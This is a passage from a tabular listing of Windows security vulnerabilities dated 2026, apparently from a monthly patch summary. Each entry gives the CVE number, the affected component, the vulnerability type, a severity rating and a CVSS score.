Windows Audio\n  Compression Manager (ACM) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50440\n  Windows Audio Service\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-34328\n  Windows Audio Service\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50406\n  Windows Backup Engine\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50364\n  Windows Backup Service\n  Elevation of Privilege Vulnerability\n  Important\n  7.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-42975\n  Windows Bluetooth Port\n  Driver Remote Code Execution\n  Important\n  8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58538\n  Windows Bluetooth\n  Service Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58638\n  Windows Boot Loader\n  Security Feature Bypass Vulnerability\n  Important\n  6\n  No\n  No\n  SFB\n \n \n  CVE-2026-58637\n  Windows Client-Side\n  Caching Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50384\n  Windows Clip Service\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-49183\n  Windows Clipboard\n  Server Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50689\n  Windows Clipboard\n  Server Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50374\n  Windows Cloud Files\n  Mini Filter Driver Elevation of Privilege Vulnerability\n  Important\n  6.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-58536\n  Windows Cloud Files\n  Mini Filter Driver Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58613\n  Windows Cloud Files\n  Mini Filter Driver Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50401\n  Windows Cloud Files\n  Mini Filter Driver Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50697\n  Windows Common Log\n  File System Driver Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50667\n  Windows Common Log\n  File System Driver Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50421\n  Windows Connected User\n  Experiences and Telemetry Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50428\n  Windows Container\n  Isolation FS Filter Driver (unionfs.sys) Information Disclosure Vulnerability\n  Important\n  7.1\n  No\n  No\n  Info\n \n \n  CVE-2026-50352\n  Windows Cryptographic\n  Services Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50302\n  Windows Cryptographic\n  Services Security Feature Bypass Vulnerability\n  Important\n  4.2\n  No\n  No\n  SFB\n \n \n  CVE-2026-55144\n  Windows Cryptography\n  API: Next Generation (CNG) Tampering Vulnerability\n  Important\n  7.1\n  No\n  No\n  Tampering\n \n \n  CVE-2026-50347\n  Windows Data.dll\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49181\n  Windows DHCP Client\n  Elevation of Privilege Vulnerability\n  Important\n  7.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50683\n  Windows DHCP Client\n  Elevation of Privilege Vulnerability\n  Important\n  8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58627\n  Windows DHCP Server\n  Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50685\n  Windows DHCP Server\n  Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-49807\n  Windows DirectX\n  Information Disclosure Vulnerability\n  Important\n  6.2\n  No\n  No\n  Info\n \n \n  CVE-2026-49175\n  Windows DNS Client\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50487\n  Windows DNS Client\n  Elevation of Privilege Vulnerability\n  Important\n  8.1\n  No\n  No\n  EoP\n \n \n  CVE-2026-50465\n  Windows DNS Client\n  Tampering Vulnerability\n  Important\n  7.1\n  No\n  No\n  Tampering\n \n \n  CVE-2026-49169\n  Windows DNS Server\n  Remote Code Execution Vulnerability\n  Important\n  8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50426\n  Windows DNS Server\n  Remote Code Execution Vulnerability\n  Important\n  6.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50424\n  Windows Domain\n  Controller Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50300\n  Windows DWM Core\n  Library Information Disclosure \n  Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50437\n  Windows DWM Core\n  Library Information Disclosure \n  Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-34348\n  Windows Event Logging\n  Service Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50502\n  Windows Event Logging\n  Service Remote Code Execution Vulnerability\n  Important\n  8\n  No\n  No\n  RCE\n \n \n  CVE-2026-33842\n  Windows File Explorer\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-40422\n  Windows File Explorer\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-41087\n  Windows File Explorer\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50473\n  Windows File Explorer\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50442\n  Windows File Explorer\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50389\n  Windows File Explorer\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50456\n  Windows File Explorer\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-57084\n  Windows File Explorer\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-57091\n  Windows File History\n  Service Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50405\n  Windows Filtering\n  Platform Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49172\n  Windows FTP Service\n  Remote Code Execution Vulnerability\n  Important\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50387\n  Windows GDI Elevation\n  of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54122\n  Windows GDI+ Remote\n  Code Execution Vulnerability\n  Important\n  8.4\n  No\n  No\n  RCE\n \n \n  CVE-2026-50483\n  Windows Graphics\n  Component Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-58609\n  Windows Graphics\n  Component Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50391\n  Windows Group Policy\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50310\n  Windows Human\n  Interface Device Information Disclosure Vulnerability\n  Important\n  4.7\n  No\n  No\n  Info\n \n \n  CVE-2026-50485\n  Windows Hyper-V Denial\n  of Service Vulnerability\n  Important\n  4.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-54129\n  Windows Hyper-V\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50315\n  Windows Image\n  Acquisition Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58534\n  Windows Input Method\n  Editor (IME) Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50490\n  Windows Installer\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-58540\n  Windows Installer\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50425\n  Windows Internal\n  System User Profile Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50293\n  Windows Internal Task\n  Bar Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49167\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  4.7\n  No\n  No\n  EoP\n \n \n  CVE-2026-49173\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54132\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  6.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49795\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49798\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  9.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-49808\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50354\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.1\n  No\n  No\n  EoP\n \n \n  CVE-2026-50332\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50377\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  5.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50390\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50423\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50397\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50436\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50399\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50459\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50477\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50478\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50484\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50673\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58532\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50294\n  Windows Kernel\n  Information Disclosure Vulnerability\n  Important\n  6.2\n  No\n  No\n  Info\n \n \n  CVE-2026-50316\n  Windows Kernel\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50419\n  Windows Kernel\n  Information Disclosure Vulnerability\n  Important\n  3.3\n  No\n  No\n  Info\n \n \n  CVE-2026-50463\n  Windows Kernel\n  Information Disclosure Vulnerability\n  Important\n  7.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50475\n  Windows Kernel\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50429\n  Windows Kernel\n  Information Disclosure Vulnerability\n  Important\n  8.2\n  No\n  No\n  Info\n \n \n  CVE-2026-58614\n  Windows Kernel\n  Security Feature Bypass Vulnerability\n  Important\n  5.5\n  No\n  No\n  SFB\n \n \n  CVE-2026-58545\n  Windows Kernel\n  Security Feature Bypass Vulnerability\n  Important\n  5.5\n  No\n  No\n  SFB\n \n \n  CVE-2026-58602\n  Windows Kernel-Mode\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50393\n  Windows Kernel-Mode\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50396\n  Windows Kernel-Mode\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50378\n  Windows Key Guard\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50303\n  Windows Key Guard\n  Security Feature Bypass Vulnerability\n  Important\n  5.5\n  No\n  No\n  SFB\n \n \n  CVE-2026-40378\n  Windows Local Security\n  Authority Subsystem Service (LSASS) Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-49799\n  Windows Local Security\n  Authority Subsystem Service (LSASS) Denial of Service Vulnerability\n  Important\n  6.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50371\n  Windows LUA File\n  Virtualization Filter Driver Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-58544\n  Windows Management\n  Services Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50404\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50358\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50336\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50398\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50414\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  7.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50379\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  7.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50433\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50676\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50677\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-34349\n  Windows Media\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50394\n  Windows Media\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50415\n  Windows Media\n  Information Disclosure Vulnerability\n  Important\n  5.3\n  No\n  No\n  Info\n \n \n  CVE-2026-57083\n  Windows Media Photo\n  Codec Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-54115\n  Windows Message\n  Queuing (MSMQ) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50447\n  Windows Message\n  Queuing Service (MSMQ) Remote Code Execution Vulnerability\n  Important\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50505\n  Windows Message\n  Queuing Service (MSMQ) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-50342\n  Windows MIDI Service\n  Module Elevation of Privileges Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56183\n  Windows MIDI Service\n  Module Elevation of Privileges Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-56187\n  Windows MIDI Service\n  Module Elevation of Privileges Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-58635\n  Windows Narrator\n  Braille Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50500\n  Windows Netlogon\n  Elevation of Privilege Vulnerability\n  Important\n  7.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50476\n  Windows Network\n  Connections Service Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50450\n  Windows Network\n  Connections Service Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56650\n  Windows Network File\n  System Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56649\n  Windows Network File\n  System Remote Code Execution Vulnerability\n  Important\n  5.9\n  No\n  No\n  RCE\n \n \n  CVE-2026-50470\n  Windows Network Policy\n  Server SNMP Information Disclosure Vulnerability\n  Important\n  7.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50496\n  Windows Network Policy\n  Server SNMP Information Disclosure Vulnerability\n  Important\n  7.5\n  No\n  No\n  Info\n \n \n  CVE-2026-56194\n  Windows NFS Server\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56648\n  Windows NFS Server\n  Elevation of Privilege Vulnerability\n  Important\n  7.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50337\n  Windows Notification\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49789\n  Windows NTFS Elevation\n  of Privilege Vulnerability\n  Important\n  7.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-50412\n  Windows NTFS Elevation\n  of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50422\n  Windows NTFS Elevation\n  of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50672\n  Windows NTFS Elevation\n  of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-56175\n  Windows NTFS Elevation\n  of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56182\n  Windows NTFS Elevation\n  of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50341\n  Windows NTFS\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-58640\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.3\n  No\n  No\n  RCE\n \n \n  CVE-2026-49184\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  8.4\n  No\n  No\n  RCE\n \n \n  CVE-2026-49797\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50308\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50386\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50309\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50313\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50388\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50448\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50471\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50461\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50417\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50482\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.3\n  No\n  No\n  RCE\n \n \n  CVE-2026-50494\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50344\n  Windows OLE Elevation\n  of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50686\n  Windows OLE Remote\n  Code Execution Vulnerability\n  Important\n  8.1\n  No\n  No\n  RCE\n \n \n  CVE-2026-50335\n  Windows Operating\n  Systems Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50317\n  Windows Operating\n  Systems Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54987\n  Windows Overlay Filter\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50435\n  Windows Overlay Filter\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50409\n  Windows Overlay Filter\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-40400\n  Windows PowerShell\n  Remote Code Execution Vulnerability\n  Important\n  8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49166\n  Windows Print\n  Configuration Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-55004\n  Windows Print\n  Configuration Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50499\n  Windows Print Spooler\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50383\n  Windows Print Spooler\n  Information Disclosure Vulnerability\n  Important\n  6.1\n  No\n  No\n  Info\n \n \n  CVE-2026-57085\n  Windows Print Spooler\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50469\n  Windows Projected File\n  System Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50434\n  Windows Push\n  Notification Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50339\n  Windows Push\n  Notification Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50430\n  Windows Push\n  Notification Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50334\n  Windows Push\n  Notification Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-44800\n  Windows Push\n  Notifications Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50363\n  Windows Push\n  Notifications Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50431\n  Windows Quality of\n  Service (QoS) Packet Scheduler Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50372\n  Windows Redirected\n  Drive Buffering System Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50666\n  Windows Remote Access\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56647\n  Windows Remote Access\n  Service Infrastructure Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50330\n  Windows Remote Desktop\n  Client Elevation of Privilege Vulnerability\n  Important\n  7.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50376\n  Windows Remote Desktop\n  Client Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50504\n  Windows Remote Desktop\n  Client Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-58533\n  Windows Remote Desktop\n  Client Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-58535\n  Windows Remote Desktop\n  Client Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-58546\n  Windows Remote Desktop\n  Client Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-58539\n  Windows Remote Desktop\n  Client Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55003\n  Windows Remote Desktop\n  Protocol (RDP) Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-57979\n  Windows Remote Desktop\n  Protocol (RDP) Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50445\n  Windows Remote Desktop\n  Protocol (RDP) Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50497\n  Windows Remote Desktop\n  Protocol (RDP) Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-54126\n  Windows Remote Desktop\n  Protocol (RDP) Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-57982\n  Windows Remote Desktop\n  Protocol (RDP) Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50369\n  Windows Remote Desktop\n  Services Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58626\n  Windows Remote Desktop\n  Services Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55014\n  Windows Remote Help\n  Defense Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50318\n  Windows Resilient File\n  System (ReFS) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50407\n  Windows Resilient File\n  System (ReFS) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50357\n  Windows Resilient File\n  System (ReFS) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50441\n  Windows Resilient File\n  System (ReFS) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50668\n  Windows Resilient File\n  System (ReFS) Elevation of Privilege Vulnerability\n  Important\n  6.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54109\n  Windows Resilient File\n  System (ReFS) Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49792\n  Windows Resilient File\n  System (ReFS) Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49793\n  Windows Resilient File\n  System (ReFS) Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50362\n  Windows Resilient File\n  System (ReFS) Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50492\n  Windows Resilient File\n  System (ReFS) Remote Code Execution Vulnerability\n  Important\n  6.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50501\n  Windows Resilient File\n  System (ReFS) Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58530\n  Windows Resilient File\n  System (ReFS) Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49791\n  Windows Routing and\n  Remote Access Service (RRAS) Elevation of Privilege Vulnerability\n  Important\n  7.1\n  No\n  No\n  EoP\n \n \n  CVE-2026-50451\n  Windows Routing and\n  Remote Access Service (RRAS) Elevation of Privilege Vulnerability\n  Important\n  7.1\n  No\n  No\n  EoP\n \n \n  CVE-2026-57096\n  Windows Routing and\n  Remote Access Service (RRAS) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50323\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50452\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50348\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50345\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50322\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  